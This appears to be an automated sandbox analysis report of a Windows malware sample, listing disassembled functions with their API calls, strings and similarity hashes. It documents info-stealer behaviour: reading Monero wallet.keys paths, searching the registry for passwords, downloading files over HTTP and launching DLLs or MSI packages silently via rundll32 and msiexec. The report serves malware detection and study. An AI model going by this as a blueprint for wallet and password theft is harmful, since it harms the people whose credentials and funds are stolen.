Function 00417DC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,02654DD0,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

%s\%s, xrefs: 00417EED
?, xrefs: 00417E1A
- , xrefs: 00418043

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 387138a2acaf9047d5f238e00edebe8a78cba1fcf6441e48f5509685d7ffdd98
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 387138a2acaf9047d5f238e00edebe8a78cba1fcf6441e48f5509685d7ffdd98
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 004062D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,0267B010), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,0267AEF0,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

ERROR, xrefs: 00406457
ERROR, xrefs: 00406519
GET, xrefs: 004063CC

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: f3b98097e5e0f384b1902342b99ad1993feda62f21dbc400c84d5a874d7a36bf
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: f3b98097e5e0f384b1902342b99ad1993feda62f21dbc400c84d5a874d7a36bf
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02655988,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: strtok.MSVCRT ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 0041525D
ERROR, xrefs: 00415116
ERROR, xrefs: 00415173
ERROR, xrefs: 004154DE
ERROR, xrefs: 00415329
ERROR, xrefs: 00415412

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 53c0d387d700226d11633ba140bdf5a28658bb722894504da175286b8ed3d870
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: 53c0d387d700226d11633ba140bdf5a28658bb722894504da175286b8ed3d870
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00401310 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 139stringfilelibraryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02659800,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
LoadLibraryW.KERNEL32 ref: 004014FB
memset.MSVCRT ref: 00401516

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
.keys, xrefs: 0040136B
\Monero\wallet.keys, xrefs: 0040138D
wallet_path, xrefs: 00401330

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$ChangeCopyCreateDeleteFindFreeLibraryLoadNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 4065477013-218353709
Opcode ID: a480621b95891a6c0c663337c38288493a6491e31d0a22c8cd4502a19ee7bf91
Instruction ID: b5eb1e2d9a8a1e3cf56e2c34e54d9e93e9a372b4459d7a8870c797c8d4c08f80
Opcode Fuzzy Hash: a480621b95891a6c0c663337c38288493a6491e31d0a22c8cd4502a19ee7bf91
Instruction Fuzzy Hash: AB5184B1D501186BCB14EB61DC96FED733CAF50314F4041ADB60A62092EE785BD9CBAA

Function 00412940 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

ShellExecuteEx.SHELL32(0000003C), ref: 00412CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00412E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00412FFA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00412E42
/i ", xrefs: 00412EF4
"" , xrefs: 00412BAA
.dll, xrefs: 00412CF5
C:\Windows\system32\msiexec.exe, xrefs: 00412FCF
.msi, xrefs: 00412EA8
/passive, xrefs: 00412F6B
<, xrefs: 00412FA0

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: c8366484859b674b927cc6683577836c15c3d93f25c830e1598382af8fe9c0e8
Instruction ID: f1658c825a9884a12c356146fd8d4c6d848a61a952cd10e5c69c9f5a52c1d3c9
Opcode Fuzzy Hash: c8366484859b674b927cc6683577836c15c3d93f25c830e1598382af8fe9c0e8
Instruction Fuzzy Hash: FA121F71811108AACB14FBA1DC96FDEB778AF14314F40415EF40666192EF782BD9CFAA

Function 004060F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,0267B010), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(q&A,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(q&A), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Strings

q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103
q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: q&A$q&A
API String ID: 2507841554-3681770271
Opcode ID: 1a189af19a0918ddc1989b4224ad2285b48102a83fadce9624675bb6f0ae19fa
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: 1a189af19a0918ddc1989b4224ad2285b48102a83fadce9624675bb6f0ae19fa
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT ref: 00407354
Part of subcall function 00407310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
Part of subcall function 00407310: RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

lstrcat.KERNEL32(2F3AC020,004217A0), ref: 00407646
lstrcat.KERNEL32(2F3AC020,00000000), ref: 00407688
lstrcat.KERNEL32(2F3AC020, : ), ref: 0040769A
lstrcat.KERNEL32(2F3AC020,00000000), ref: 004076CF
lstrcat.KERNEL32(2F3AC020,004217A8), ref: 004076E0
lstrcat.KERNEL32(2F3AC020,00000000), ref: 00407713
lstrcat.KERNEL32(2F3AC020,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: f979cf87b43af2eb7bb5905fc5edc651b4ca25bb004b27d4a2fbdc1bc65e463e
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: f979cf87b43af2eb7bb5905fc5edc651b4ca25bb004b27d4a2fbdc1bc65e463e
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00407310 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407354
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

:, xrefs: 00416FFC
C, xrefs: 00416FEC
\, xrefs: 00417000

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
